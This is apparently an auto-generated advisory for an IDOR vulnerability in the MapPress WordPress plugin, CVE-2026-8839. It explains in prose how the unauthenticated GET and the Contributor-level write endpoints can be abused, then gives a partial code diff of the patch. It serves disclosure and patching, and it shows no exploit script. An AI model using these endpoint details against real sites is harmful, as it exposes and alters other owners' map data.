Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 11, 2026

CVE-2026-8839: MapPress Maps for WordPress <= 2.96.6 Unauthenticated Insecure Direct Object Reference via REST API Endpoints PoC, Patch Analysis & Rule

CVE ID CVE-2026-8839
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 2.96.6
Patched Version 2.97.1
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8839:

This vulnerability affects the MapPress Maps for WordPress plugin up to version 2.96.6. It is an Insecure Direct Object Reference (IDOR) vulnerability in the REST API. Unauthenticated attackers can read sensitive map data from any map on the site. Authenticated attackers with Contributor-level access can modify, delete, trash, or clone any map regardless of ownership.

Root Cause: The root cause lies in the REST API routes registered in `Mappress_Api::rest_api_init()`. The GET `/wp-json/mapp/v1/maps/{mapid}` endpoint uses `’permission_callback’ => ‘__return_true’`, which allows unauthenticated access. The write endpoints (POST update, DELETE, PATCH mutate, POST clone, POST empty_trash) only check the generic `edit_posts` capability without verifying map ownership. This gap is not compensated at the model layer. The `Mappress_Map::get()`, `save()`, `delete()`, `mutate()`, and `empty_trash()` methods all operate on any caller-supplied map ID without an ownership check.

Exploitation: An unauthenticated attacker can enumerate map IDs by making GET requests to `/wp-json/mapp/v1/maps/{mapid}`. Each response contains the map’s Point of Interest (POI) data, including titles, addresses, coordinates, and body content. An authenticated attacker with Contributor-level access can send a POST request to `/wp-json/mapp/v1/maps/{mapid}` with modified map JSON data to overwrite any map. They can also send DELETE requests to `/wp-json/mapp/v1/maps/{mapid}` to delete any map. The clone endpoint `/wp-json/mapp/v1/maps/{mapid}/duplicate` allows unauthorized duplication of maps.

Patch Analysis: The patch changes the permission callbacks from `’edit_posts’` to `Mappress::cap()` for all REST API endpoints. The `Mappress::cap()` function returns `’edit_others_posts’` for most actions, `’delete_others_posts’` for map deletion, and `’manage_options’` for emptying trash. The GET endpoint now includes checks against trashed status and parent post visibility for anonymous reads. The patch also adds a nonce requirement to the AJAX dismiss handler. These changes ensure that only users with proper ownership or elevated capabilities can access or modify maps.

Impact: An unauthenticated attacker can exfiltrate sensitive map data from all maps on the site. This includes POI titles, addresses, coordinates, and body content. An authenticated attacker with Contributor-level access can modify, delete, trash/restore, or clone any map. This represents a significant data exposure risk and a breach of content integrity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mappress-google-maps-for-wordpress/languages/texts.php
+++ b/mappress-google-maps-for-wordpress/languages/texts.php
@@ -29,9 +29,6 @@
 __("Dark");
 __("Satellite");
 __("Satellite Streets");
-__("Liberty");
-__("Bright");
-__("Positron");
 __("Roadmap");
 __("Terrain");
 __("Hybrid");
@@ -70,15 +67,13 @@
 __("Address");
 __("Distance");
 __("URL");
-__("Custom field");
-__("POI data field");
+__("Custom Field");
 __("Email");
 __("Display Name");
-__("Custom Field");
-__("Address or lat/lng was missing in ACF field");
 __("Post type");
 __("Role");
 __("Text search");
+__("Address or lat/lng was missing in ACF field");
 __("Invalid geocoder: %s");
 __("API Key is missing - see MapPress Settings");
 __("Invalid status: %s, %s");
@@ -104,7 +99,6 @@
 __("Automatic");
 __("No address or lat/lng specified");
 __("Communication error, please try again later");
-__("Your server's IP has been blocked by Siteground's antibot system.  Please contact Siteground and your hosting service to resolve.");
 __("JSON error");
 __("Error when checking license");
 __("Widget title");
@@ -124,14 +118,14 @@
 __("In");
 __(" Tagged ");
 __("My location");
-__("Swap start and end");
 __("Get Directions");
+__("All");
 __("Filter");
 __("%d Results");
 __("%d Result");
-__("Clear");
+__("Reset");
 __("Done");
-__("All");
+__("Unable to get your location");
 __("Toggle fullscreen view");
 __("Your Location");
 __("MapPress FAQ");
@@ -141,22 +135,21 @@
 __("Google Maps API not loaded");
 __("A theme or plugin is preventing Google Maps from loading.");
 __("Google Maps API key required");
+__("Google Maps API loaded multiple times");
+__("A theme or plugin has loaded Google Maps twice");
 __("Map Error");
 __("Map error: please see the developer console (F12 in most browsers) for details.");
-__("Browser does not support geolocation");
-__("Unable to get your location");
 __("Add to map");
 __("Search");
 __("List");
 __("Map");
-__("Center map");
 __("Traffic");
 __("Bicycling");
 __("Transit");
+__("Center map");
 __("Help");
 __("%d of %d");
-__("Enter an address, place, KML URL, or lat,lng");
-__("Enter an address, place or lat,lng");
+__("Enter an address, place, KML file URL, or lat,lng");
 __("Error reading KML file.");
 __("This may be a CORS error.  See the MapPress FAQ for help.");
 __("No posts found");
@@ -195,10 +188,8 @@
 __("KML");
 __("Description");
 __("Data");
-__("Detach");
-__("Attach to post");
-__("Delete");
 __("Save");
+__("Delete");
 __("Create new icon");
 __("Upload icons");
 __("Shape");
@@ -214,7 +205,6 @@
 __("File -> Share -> Publish to web");
 __("Select 'Entire Document' and 'Comma-Separated Values (.csv)");
 __("Copy the URL and paste it here");
-__("Looks like the import timed out or there was a server error. Temporarily deactivate all other plugins and check your PHP max_execution_time");
 __("Source");
 __("File");
 __("Google Sheets");
@@ -251,34 +241,18 @@
 __("Geocode users");
 __("For bulk geocoding (>100 items) online geocoding services are faster and less expensive.");
 __("Geocoding errors");
-__("Directions");
-__("Inline");
-__("Directions link");
-__("Show in popup");
-__("Show in list");
 __("Demo Map");
 __("Maps for WordPress");
 __("Basic Settings");
-__("MapPress license key");
-__("Enter license to enable automatic updates");
-__("Get license");
-__("Check now");
-__("Your account");
-__("Active");
-__("License is invalid or expired");
-__("Beta versions");
-__("Enable updates for beta versions");
 __("Mapping API");
 __("Leaflet is free and requires no API key.  Google requires an API key.");
 __("Get an Access Token");
 __("Mapbox access token");
 __("Enter token to use Mapbox");
 __("Mapbox makes Leaflet maps look great and provides an excellent geocoder.");
-__("Enter a Mapbox access token");
-__("Tile Service");
 __("Nominatim is free but inaccurate.  Consider using Mapbox or Google instead.");
-__("Enter a Location IQ access token");
-__("Enter a Google API key");
+__("The Mapbox geocoder requires a Mapbox access token");
+__("The Google geocoder requires a Google API key");
 __("Geocoder");
 __("LocationIQ access token");
 __("Enter token to use LocationIQ");
@@ -286,6 +260,15 @@
 __("Google API key");
 __("Enter API key to use Google maps");
 __("Enter API key to use Google geocoder");
+__("MapPress license key");
+__("Enter license to enable automatic updates");
+__("Get license");
+__("Check now");
+__("Your account");
+__("Active");
+__("License is invalid or expired");
+__("Beta versions");
+__("Enable updates for beta versions");
 __("Prevents conflicts with other plugins");
 __("Required because %s is active");
 __("Compatibility mode");
@@ -301,12 +284,12 @@
 __("Center");
 __("Left");
 __("Right");
+__("Directions");
+__("Inline");
 __("Mini width");
 __("Width (px) to use map/list toggle buttons");
 __("Scroll wheel zoom");
 __("Enable map zoom with mouse scroll wheel");
-__("Map controls");
-__("Map menu");
 __("POIs");
 __("Open first POI");
 __("Open first POI when a map is displayed");
@@ -317,7 +300,7 @@
 __("Circle");
 __("Scale");
 __("Hover");
-__("Open popup on hover");
+__("Open POIs on hover");
 __("Travel lines");
 __("Connect POIs with lines");
 __("Arrow");
@@ -340,8 +323,6 @@
 __("POIs per page");
 __("Sort");
 __("Distance to last search");
-__("Include KML POIs in list");
-__("Directions text");
 __("POI Data");
 __("Data fields");
 __("New field");
@@ -352,10 +333,12 @@
 __("Name");
 __("Label");
 __("Format");
+__("Show in popups");
 __("Value");
 __("Values");
 __("Styled Maps");
 __("Default style");
+__("Replace the default "roadmap" or "streets" style");
 __("Icons");
 __("Default icon");
 __("Icon directory");
@@ -386,14 +369,13 @@
 __("POI images");
 __("KMLs");
 __("Include KML POIs in mashups");
-__("Display search");
+__("Enable search for mashups");
 __("Search radius");
 __("Minimum search radius (km)");
-__("Custom search placeholder");
-__("Leave blank for default");
+__("Search placeholder");
 __("Search country");
 __("Country code for searches");
-__("Search URL parameter");
+__("URL parameter");
 __("Bounding box");
 __("Restrict searches to a bounding box (optional)");
 __("Geolocate");
@@ -402,7 +384,6 @@
 __("User location");
 __("Show user location as a blue circle on the map");
 __("Filters");
-__("Display filters");
 __("Filters position");
 __("Top");
 __("POI list");
@@ -412,19 +393,23 @@
 __("New filter");
 __("Slug");
 __("Placeholder");
-__("Include slugs");
-__("Exclude slugs");
-__("Show separately");
-__("Search title");
-__("Search title + body");
+__("Include term slugs");
+__("Exclude term slugs");
 __("Templates");
 __("Custom templates");
+__("Directions link");
+__("Show in popup");
+__("Show in list");
 __("Popups");
 __("Popup thumbnail size");
 __("or");
 __("Localization");
 __("Language");
 __("Language for searches and Google map controls");
+__("Directions server");
+__("Distance units");
+__("Metric (km)");
+__("Imperial (mi)");
 __("Generate Maps from Custom Fields");
 __("Posts");
 __("Users");
@@ -437,8 +422,8 @@
 __("Server API key for geocoding.  Only required if client key is restricted by referrer.");
 __("Frontend Forms");
 __("Advanced Custom Fields");
-__("Use this setting if your posts have an ACF location field.  Only posts with this field will be displayed on mashups.");
-__("ACF location field");
+__("To generate MapPress maps from ACF fields, leave this blank and use the Geocoding section instead");
+__("ACF map field to include in mashups");
 __("Miscellaneous");
 __("Map sizes");
 __("Width");
@@ -449,6 +434,8 @@
 __("Copy maps when overwriting a translation");
 __("Google API");
 __("Prevent other plugins from loading the Google Maps API twice");
+__("Web Component (beta)");
+__("Render maps as a web component");
 __("Index");
 __("Reset Defaults");
 __("Upgrade to MapPress Pro");
@@ -473,6 +460,8 @@
 __("Shortcode");
 __("Shortcode copied");
 __("Insert into post");
+__("Detach");
+__("Attach to post");
 __("Copy");
 __("Map %d copied");
 __("Trash");
@@ -481,31 +470,33 @@
 __("Map ID, post title, or map title...");
 __("Add New");
 __("Map %d saved");
-__("On");
-__("Off");
 __("Map settings");
 __("Style");
 __("Custom");
 __("Size");
 __("px, %, vw");
 __("px, %, vh");
-__("Set");
 __("Center/Zoom");
-__("Viewport set");
 __("Viewport automatic");
+__("Viewport set");
+__("Set");
+__("Enable search");
+__("Enable filters");
 __("Enter style name");
 __("JSON");
-__("URL returned %s");
-__("URL returned invalid JSON");
-__("URL is unreachable, check if blocked by CORS policy");
+__("Style already exists, overwrite?");
+__("Please enter a Mapbox access token in the MapPress settings screen to use styled maps.");
 __("Edit");
-__("Enter a Mapbox access token to use styled maps.");
+__("Add style");
+__("Enter style from Mapbox Studio");
+__("MapBox Share URL");
+__("Style name");
+__("Custom styles");
 __("Select a style");
 __("New style");
 __("Download style");
-__("Edit Style");
-__("Style name");
-__("Style Type");
+__("Standard styles");
+__("Download");
 __("MapPress Support");
 __("Build amazing maps with the easiest and most powerful mapping plugin available");
 __("Open Setup Wizard");
@@ -523,7 +514,7 @@
 __("Contact");
 __("Please Choose a Mapping API");
 __("MapPress supports both Leaflet and Google mapping APIs.");
-__("No API key required");
+__("No API key");
 __("No credit card");
 __("Unlimited free usage");
 __("Good functionality");
@@ -539,7 +530,7 @@
 __("Enter your API key here");
 __("Sign up with Mapbox");
 __("(optional - credit card required)");
-__("Mapbox makes Leaflet even better, with great-looking map tiles, styled maps, and a powerful geocoder.");
+__("Mapbox makes Leaflet better, with great-looking map tiles, styled maps, and a powerful geocoder.");
 __("A generous monthly usage credit means it's free for most sites.");
 __("Get Mapbox Access Token");
 __("Enter your access token here");
@@ -559,6 +550,5 @@
 __("User list item");
 __("New");
 __("Reset template to default");
-__("Reset");
 __("Editor");
 ?>
 No newline at end of file
--- a/mappress-google-maps-for-wordpress/mappress.php
+++ b/mappress-google-maps-for-wordpress/mappress.php
@@ -5,7 +5,7 @@
 Author URI: https://www.mappresspro.com
 Pro Update URI: https://www.mappresspro.com
 Description: MapPress makes it easy to add Google Maps and Leaflet Maps to WordPress
-Version: 2.96.6
+Version: 2.97.1
 Author: Chris Richardson
 Text Domain: mappress-google-maps-for-wordpress
 Thanks to all the translators and to Scott DeJonge for his wonderful icons
@@ -41,7 +41,7 @@
 }

 class Mappress {
-	const VERSION = '2.96.6';
+	const VERSION = '2.97.1';

 	static
 		$api,
@@ -124,7 +124,7 @@
 		add_action('admin_init', array(__CLASS__, 'admin_init'), 10, 2);

 		// Iframes
-		if (isset($_GET['mappress']) && $_GET['mappress'] = 'embed')
+		if (isset($_GET['mappress']))
 			add_action('template_redirect', array(__CLASS__, 'template_redirect'));

 		// Temporary fix for https://core.trac.wordpress.org/ticket/56969
@@ -181,7 +181,7 @@
 			self::styles_enqueue('backend');
 			if (isset($pages['main']) && $hook == $pages['main']) {
 				self::scripts_enqueue('settings');
-			} else if (in_array($hook, $pages) || in_array($hook, $admin_pages)) {
+			} else if ( (in_array($hook, $pages) || in_array($hook, $admin_pages)) &&  current_user_can(Mappress::cap()) ) {
 				self::scripts_enqueue('backend');
 			}
 		}
@@ -193,7 +193,7 @@

 		self::$pages['main'] = add_menu_page('MapPress', 'MapPress', 'manage_options', 'mappress', array('Mappress_Settings', 'options_page'), 'dashicons-location');
 		self::$pages['settings'] = add_submenu_page($parent, __('Settings', 'mappress-google-maps-for-wordpress'), __('Settings', 'mappress-google-maps-for-wordpress'), 'manage_options', 'mappress', array('Mappress_Settings', 'options_page'));
-		self::$pages['maps'] = add_submenu_page($parent, __('Maps', 'mappress-google-maps-for-wordpress'), __('Maps', 'mappress-google-maps-for-wordpress'), 'edit_posts', 'mappress_maps', array(__CLASS__, 'map_library'));
+		self::$pages['maps'] = add_submenu_page($parent, __('Maps', 'mappress-google-maps-for-wordpress'), __('Maps', 'mappress-google-maps-for-wordpress'), Mappress::cap(), 'mappress_maps', array(__CLASS__, 'map_library'));
 		if (self::$pro)
 			self::$pages['import'] = add_submenu_page($parent, __('Import', 'mappress-google-maps-for-wordpress'), __('Import', 'mappress-google-maps-for-wordpress'), 'manage_options', 'mappress_import', array('Mappress_Import', 'import_page'));
 		self::$pages['support'] = add_submenu_page($parent, __('Support', 'mappress-google-maps-for-wordpress'), __('Support', 'mappress-google-maps-for-wordpress'), 'manage_options', 'mappress_support', array('Mappress_Settings', 'support_page'));
@@ -208,7 +208,7 @@

 		$error =  "<div class='notice notice-error'><p>%s</p></div>";
 		$maps_table = $wpdb->prefix . "mapp_maps";
-		$exists = $wpdb->get_var("show tables like '$maps_table'");
+		$exists = $wpdb->get_var($wpdb->prepare("SHOW TABLES LIKE %s", $maps_table));

 		// Non-dismissible notices
 		if (!$exists) {
@@ -239,7 +239,7 @@
 				echo Mappress::script("jQuery('[data-mapp-dismiss]').on('click', '.notice-dismiss, .mapp-dismiss', function(e) {
 					var key = jQuery(this).closest('.notice').attr('data-mapp-dismiss');
 					jQuery(this).closest('[data-mapp-dismiss]').remove();
-					jQuery.post(ajaxurl, { action : 'mapp_dismiss', key : key });
+					jQuery.post(ajaxurl, { action : 'mapp_dismiss', key : key, nonce : '" . wp_create_nonce('mappress') . "' });
 				});");
 			}
 		}
@@ -264,11 +264,13 @@
 		update_user_meta( get_current_user_id(), 'mappress_dismissed', implode( ',', $dismissed ));
 	}

-	static function ajax_dismiss() {
+	static function ajax_dismiss() {
+		check_ajax_referer('mappress', 'nonce');
+
 		// Still sent via jQuery
-		$key = (isset($_POST['key'])) ? $_POST['key'] : null;
-		if (!$key || sanitize_key( $key) != $key)
-			wp_die( 0 );
+		$key = isset($_POST['key']) ? sanitize_key(wp_unslash($_POST['key'])) : null;
+			if (!$key) wp_die(0);
+
 		self::admin_notices_dismiss($key, true);
 		self::ajax_response('OK');
 	}
@@ -301,10 +303,19 @@
 			)
 		);
 	}
+
+	static function cap($action = null) {
+		if ($action == 'empty_trash')
+			return 'manage_options';
+		else if ($action == 'delete_map')
+			return 'delete_others_posts';
+		else
+			return 'edit_others_posts';
+	}

 	static function deactivate() {
-		$reason = (isset($_REQUEST['mapp_reason'])) ? $_REQUEST['mapp_reason'] : null;
-		$reason_text = (isset($_REQUEST['mapp_reason_text'])) ? $_REQUEST['mapp_reason_text'] : null;
+		$reason = isset($_REQUEST['mapp_reason']) ? sanitize_key($_REQUEST['mapp_reason']) : null;
+		$reason_text = isset($_REQUEST['mapp_reason_text']) ? sanitize_textarea_field(wp_unslash($_REQUEST['mapp_reason_text'])) : null;

 		if (!$reason || $reason == 'private' || $reason == 'temporary')
 			return;
@@ -328,22 +339,6 @@
 	static function debugging() {
 		global $wpdb;

-		if (isset($_GET['mp_info'])) {
-			echo "<b>Plugin</b> " . self::$version;
-			$maps_table = $wpdb->prefix . 'mapp_maps';
-			$results = $wpdb->get_results("SELECT otype, oid, mapid FROM $maps_table");
-			echo "<br/>otype/oid => mapid<br/>";
-			foreach($results as $i => $result) {
-				if ($i > 50)
-					break;
-				echo "<br/>$result->otype / $result->oid => $result->mapid";
-			}
-			$options = Mappress_Options::get();
-			unset($options->mapbox, $options->license, $options->apiKey, $options->apiKeyServer);
-			echo str_replace(array("r", "n"), array('<br/>', '<br/>'), print_r($options, true));
-			die();
-		}
-
 		// Can be used to force otype when upgrading from ancient versions
 		//if (isset($_REQUEST['mp_upgrade']) && is_admin()) {
 		//	$maps_table = $wpdb->prefix . 'mapp_maps';
@@ -355,9 +350,7 @@
 		//	}
 		//}

-		if (isset($_REQUEST['mp_debug']))
-			self::$debug = max(1, (int) $_REQUEST['mp_debug']);
-		else if (defined('MAPPRESS_DEBUG') && MAPPRESS_DEBUG)
+		if (defined('MAPPRESS_DEBUG') && MAPPRESS_DEBUG)
 			self::$debug = true;

 		if (self::$debug) {
@@ -446,7 +439,7 @@
 		$mashup->query = Mappress_Query::parse_query($atts);

 		// If parameter test="true", output the query result (or global query) without using a map
-		if (isset($_GET['mp_test']) || (isset($atts['test']) && $atts['test'])) {
+		if ( (isset($_GET['mp_test']) && current_user_can('manage_options')) || (isset($atts['test']) && $atts['test']) ) {
 			$wpq = ($mashup->query) ? new WP_Query($mashup->query) : $wp_query;
 			return "<pre>" . print_r($wpq, true) . "</pre>";
 		}
@@ -458,6 +451,24 @@
 		}
 		return $mashup->display();
 	}
+
+	static function get_sample_oids($limit = 2) {
+		$cache_key = 'mappress_sample_oids';
+		$cached = get_transient($cache_key);
+		if ($cached !== false)
+			return $cached;
+
+		global $wpdb;
+		$maps_table = $wpdb->prefix . 'mapp_maps';
+		$oids = $wpdb->get_col($wpdb->prepare(
+			"SELECT DISTINCT m.oid FROM $maps_table m JOIN $wpdb->posts p ON p.ID = m.oid
+			  WHERE m.otype = 'post' AND m.status != 'trashed' AND p.post_status = 'publish' AND m.oid > 0
+			  ORDER BY m.mapid ASC LIMIT %d", $limit
+		));
+		$oids = $oids ? array_map('intval', $oids) : array();
+		set_transient($cache_key, $oids, 300);
+		return $oids;
+	}

 	static function get_tile_service() {
 		if (self::$options->engine != 'leaflet')
@@ -481,6 +492,12 @@
 	*
 	*/
 	static function init() {
+		// Check minimum version - mappress_db now requires 6.2
+		if (version_compare(get_bloginfo('version'), '6.2', '<')) {
+			self::$notices['min_wp'] = array('error', __('MapPress requires WordPress 6.2 or later. Please update WordPress.', 'mappress-google-maps-for-wordpress'));
+			return;
+		}
+
 		Mappress_Compliance::register();
 		Mappress_Db::register();
 		Mappress_Map::register();
@@ -560,9 +577,6 @@
 		if (self::$pro && empty(self::$options->license) && (!is_multisite() || (is_super_admin() && is_main_site())))
 			self::$notices['nolicense'] = array('warning', __('Please enter your MapPress license key to enable plugin updates', 'mappress-google-maps-for-wordpress'));

-		if (self::VERSION >= '2.55' && version_compare(get_bloginfo('version'),'5.3', '<') )
-			self::$notices['255_min_version'] = array('error', __('MapPress Gutenberg blocks require WordPress 5.3 or the latest Gutenberg Plugin. Please update if using the block editor.', 'mappress-google-maps-for-wordpress'));
-
 		if ($current_version && $current_version < '2.55' && self::VERSION >= '2.55')
 			self::$notices['255_whats_new'] = array('info', sprintf(__('MapPress has many new features!  %s.', 'mappress-google-maps-for-wordpress'), '<a target="_blank" href="https://mappresspro.com/whats-new">' . __("Learn more", 'mappress-google-maps-for-wordpress') . '</a>'));

@@ -668,14 +682,14 @@
 	}

 	static function is_dev() {
-		if (defined('MAPPRESS_DEV') && MAPPRESS_DEV)
-			return MAPPRESS_DEV;
-		else if (isset($_REQUEST['mp_dev']))
-			return ($_REQUEST['mp_dev']) ? $_REQUEST['mp_dev'] : 'dev';
-		else
-			return false;
+		if (isset($_REQUEST['mp_dev']) && current_user_can('manage_options')) {
+			$val = $_REQUEST['mp_dev'];
+			if (in_array($val, array('dev', 'dev2'), true))
+				return $val;
+		}
+		return false;
 	}
-
+
 	static function is_footer() {
 		if (defined('DOING_AJAX') && DOING_AJAX)
 			return false;
@@ -927,10 +941,12 @@
 		$register = array(
 			array("mappress-leaflet", $lib . '/leaflet/leaflet.js', null, null, $footer),
 			array("mappress-leaflet-togeojson", $lib . '/leaflet/togeojson.min.js', null, null, $footer),
-			array('mappress-markerclusterer', 'https://unpkg.com/@googlemaps/markerclusterer@2.6.2/dist/index.min.js', null, null, $footer),
+
+			array('mappress-markerclusterer', $lib . '/markerclusterer/index.min.js', null, '2.6.2', $footer),
 			array('mappress-leaflet-markercluster', $lib . '/leaflet/leaflet.markercluster.js', null, null, $footer),
-			array("mappress-maplibre", "https://unpkg.com/maplibre-gl@5.18.0/dist/maplibre-gl.js", null, null, $footer),
-			array("mappress-leaflet-maplibre", "https://unpkg.com/@maplibre/maplibre-gl-leaflet/leaflet-maplibre-gl.js", null, null, $footer),
+			array("mappress-maplibre", $lib . '/maplibre/maplibre-gl.js', null, '5.18.0', $footer),
+			array("mappress-leaflet-maplibre", $lib . '/maplibre/leaflet-maplibre-gl.js', null, '0.0.22', $footer),
+
 			array('mappress', $js . "/index_mappress.js", $deps, self::$version, $footer),
 			array('mappress_admin', $js . "/index_mappress_admin.js", $admin_deps, self::$version, $footer)
 		);
@@ -1096,7 +1112,7 @@
 			// Openfreemap / maplibre
 			$tile_service = self::get_tile_service();
 			if ($tile_service == 'ofm') {
-				$styles->add('mappress-maplibre', 'https://unpkg.com/maplibre-gl@5.18.0/dist/maplibre-gl.css', null, null);
+				$styles->add('mappress-maplibre', self::$baseurl . '/lib/maplibre/maplibre-gl.css', null, '5.18.0');
 				$deps[] = 'mappress-maplibre';
 			}

@@ -1115,10 +1131,10 @@
 		$styles->add('mappress-admin', self::$baseurl . '/css/mappress_admin.css', array('mappress', 'wp-edit-blocks'), self::$version);

 		 // Mappress CSS from theme directory
-		if ( @file_exists( get_stylesheet_directory() . '/mappress.css' ) )
+		if ( is_readable( get_stylesheet_directory() . '/mappress.css' ) )
 			$file = get_stylesheet_directory_uri() . '/mappress.css';
-		elseif ( @file_exists( get_template_directory() . '/mappress.css' ) )
-			$file = get_template_directory_uri() . '/mappress.css';
+		elseif ( is_readable( get_template_directory() . '/mappress.css' ) )
+			$file = get_template_directory_uri() . '/mappress.css';
 		if (isset($file)) {
 			$styles->add('mappress-custom', $file, array('mappress'), self::$version);
 		}
@@ -1247,7 +1263,7 @@
 	}

 	static function wp_head() {
-		echo "rn<!-- MapPress Easy Google Maps " . __('Version', 'mappress-google-maps-for-wordpress') . ':' . self::$version . " (https://www.mappresspro.com) -->rn";
+		echo "rn<!-- MapPress Easy Google Maps " . esc_html__('Version', 'mappress-google-maps-for-wordpress') . ':' . esc_html(self::$version) . " (https://www.mappresspro.com) -->rn";
 	}
 }

--- a/mappress-google-maps-for-wordpress/mappress_api.php
+++ b/mappress-google-maps-for-wordpress/mappress_api.php
@@ -22,10 +22,11 @@
 	}

 	public function create_map($request) {
+		ob_start();
 		$mapdata = $request->get_json_params();

 		if (!$mapdata)
-			return new WP_Error('create_map', 'Map save data missing');
+			return new WP_Error('create_map', 'Map save data missing', array('status' => 400));

 		$map = new Mappress_Map($mapdata);
 		$result = $map->save();
@@ -38,11 +39,17 @@

 	public function delete_map($request) {
 		ob_start();
-		$mapid = $request->get_param('mapid');
+		$url_params = $request->get_url_params();
+		$mapid = isset($url_params['mapid']) ? $url_params['mapid'] : null;
+
+		if (!Mappress_Map::get($mapid))
+			return new WP_Error('delete_item', 'Map not found', array('status' => 404));
+
 		$result = Mappress_Map::delete($mapid);

 		if (!$result)
-			return new WP_Error('delete_item', "Internal error when deleting map ID '$mapid'!");
+			return new WP_Error('delete_item', "Internal error when deleting map ID '$mapid'!", array('status' => 500));
+

 		return $this->rest_response($mapid);
 	}
@@ -76,7 +83,8 @@
 		ob_start();
 		$result = Mappress_Map::empty_trash();
 		if (!$result)
-			return new WP_Error('empty_trash', 'Internal error when emptying trash, your data was not saved!');
+			return new WP_Error('empty_trash', 'Internal error when emptying trash, your data was not saved!', array('status' => 500));
+
 		return $this->rest_response('OK');
 	}

@@ -93,8 +101,18 @@
 		$map = ($mapid) ? Mappress_Map::get($mapid) : null;

 		if (!$map)
-			return new WP_Error('get_map', 'Map not found');
+			return new WP_Error('get_map', 'Map not found', array('status' => 404));

+			// Anonymous read follows parent post visibility. Editors see everything.
+		if (!current_user_can(Mappress::cap())) {
+			if ($map->status === 'trashed')
+				return new WP_Error('get_map', 'Map not found', array('status' => 404));
+			if ($map->otype === 'post' && (int) $map->oid > 0) {
+				$post_status = get_post_status((int) $map->oid);
+				if ($post_status !== 'publish' && $post_status !== 'inherit')
+					return new WP_Error('get_map', 'Map not found', array('status' => 404));
+			}
+		}
 		return $this->rest_response($map);
 	}

@@ -203,7 +221,7 @@
 			$fields = "SELECT $maps_table.mapid, $maps_table.otype, $maps_table.oid, $maps_table.status, $maps_table.title, $wpdb->users.nicename as otitle ";
 			$from = " FROM $maps_table ";
 			$join = " LEFT OUTER JOIN $wpdb->users ON ($wpdb->users.ID = $maps_table.oid) ";
-			$where .= " AND $maps_table.otype = 'post' ";
+			$where .= " AND $maps_table.otype = 'user' ";
 		}

 		$where .= ($filter == 'trashed') ? " AND $maps_table.status = 'trashed' " : " AND $maps_table.status != 'trashed' ";
@@ -218,15 +236,13 @@

 		$orderby = '';

-		// Note that sort_by should be ;already sanitized by wpdb->prepare
-		if ($sort_by == 'mapid') {
-			$orderby = $wpdb->prepare(" ORDER BY %1s ", $sort_by) . ( ($sort_asc == 'true') ? "ASC" : "DESC" );
-			if ($sort_by != 'mapid')
-				$orderby .= ", mapid";
-		}
-
-		if ($page_size > 0)
-			$limit = $wpdb->prepare(" LIMIT %d, %d", ($page-1) * $page_size, $page_size);
+		// Only "mapid" is supported; if more sort columns are added, whitelist them explicitly.
+		if ($sort_by == 'mapid')
+			$orderby = " ORDER BY mapid " . (($sort_asc == 'true') ? "ASC" : "DESC");
+
+		$page = max(1, (int)$page);
+		$page_size = max(1, (int)$page_size);
+		$limit = $wpdb->prepare(" LIMIT %d, %d", ($page-1) * $page_size, $page_size);

 		// Run query, then check if more results exist
 		$results = $wpdb->get_results($fields . $from . $join . $where . $orderby . $limit);
@@ -252,11 +268,15 @@

 	public function mutate_map($request) {
 		ob_start();
-		$mapid = $request->get_param('mapid');
-		$mapdata = $request->get_param('changes');
+		$url_params = $request->get_url_params();
+		$mapid = isset($url_params['mapid']) ? $url_params['mapid'] : null;
+		$mapdata = $request->get_param('changes');

 		if (!$mapid || !$mapdata)
-			return new WP_Error('mutate_map', 'Missing parameter while mutating');
+			return new WP_Error('mutate_map', 'Missing parameter while mutating', array('status' => 400));
+
+		if (!Mappress_Map::get($mapid))
+			return new WP_Error('mutate_map', 'Map not found', array('status' => 404));

 		$result = Mappress_Map::mutate($mapid, $mapdata);
 		if (!$result)
@@ -266,13 +286,15 @@
 	}

 	public function update_map($request) {
-		$mapid = $request->get_param('mapid');
+		ob_start();
+		$url_params = $request->get_url_params();
+		$mapid = isset($url_params['mapid']) ? $url_params['mapid'] : null;
 		$mapdata = (object) $request->get_json_params();

 		if (!$mapdata)
-			return new WP_Error('update_map', 'Map save data missing');
-		if (!$mapid || $mapid != $mapdata->mapid)
-			return new WP_Error('update_map', 'Map ID missing');
+			return new WP_Error('update_map', 'Map save data missing', array('status' => 400));
+		if (!$mapid || !isset($mapdata->mapid) || $mapid != $mapdata->mapid)
+			return new WP_Error('update_map', 'Map ID missing', array('status' => 400));

 		$map = new Mappress_Map($mapdata);
 		$result = $map->save();
@@ -281,19 +303,17 @@
 			return new WP_Error('update_map', 'Internal error, your data has not been saved!');

 		return $this->rest_response($map->mapid);
-	}
-
+	}
+
 	public function rest_api_init() {
 		register_rest_route(
 			$this->namespace,
 			'/maps',
 			array(
-				array(
+				array(
 					'methods' => 'GET',
 					'callback' => array($this, 'get_maps'),
-					'permission_callback' => function() {
-						return current_user_can('edit_posts');
-					},
+					'permission_callback' => function() { return current_user_can(Mappress::cap()); },
 					'args' => array(
 						'filter' => array('sanitize_callback' => 'sanitize_title', 'default' => 'all'),
 						'oid' => array('sanitize_callback' => 'sanitize_title', 'default' => null),
@@ -309,9 +329,7 @@
 				array(
 					'methods' => 'POST',
 					'callback' => array($this, 'create_map'),
-					'permission_callback' => function() {
-						return current_user_can('edit_posts');
-					},
+					'permission_callback' => function() { return current_user_can(Mappress::cap()); },
 				),
 				'schema' => array($this, 'get_map_schema')
 			)
@@ -325,31 +343,25 @@
 				array(
 					'methods' => 'GET',
 					'callback' => array($this, 'get_map'),
-					'permission_callback' => '__return_true',
-				),
-
+					'permission_callback' => '__return_true',
+				),
+
 				array(
 					'methods' => 'DELETE',
 					'callback' => array($this, 'delete_map'),
-					'permission_callback' => function() {
-						return current_user_can('edit_posts');
-					},
+					'permission_callback' => function() { return current_user_can(Mappress::cap('delete_map')); },
 				),

 				array(
 					'methods' => 'POST',
 					'callback' => array($this, 'update_map'),
-					'permission_callback' => function() {
-						return current_user_can('edit_posts');
-					},
+					'permission_callback' => function() { return current_user_can(Mappress::cap()); },
 				),

 				array(
 					'methods' => 'PATCH',
 					'callback' => array($this, 'mutate_map'),
-					'permission_callback' => function() {
-						return current_user_can('edit_posts');
-					},
+					'permission_callback' => function() { return current_user_can(Mappress::cap()); },
 				),
 				'schema' => array($this, 'get_map_schema'),
 			)
@@ -362,9 +374,7 @@
 			array (
 				'methods' => 'POST',
 				'callback' => array($this, 'duplicate_map'),
-				'permission_callback' => function() {
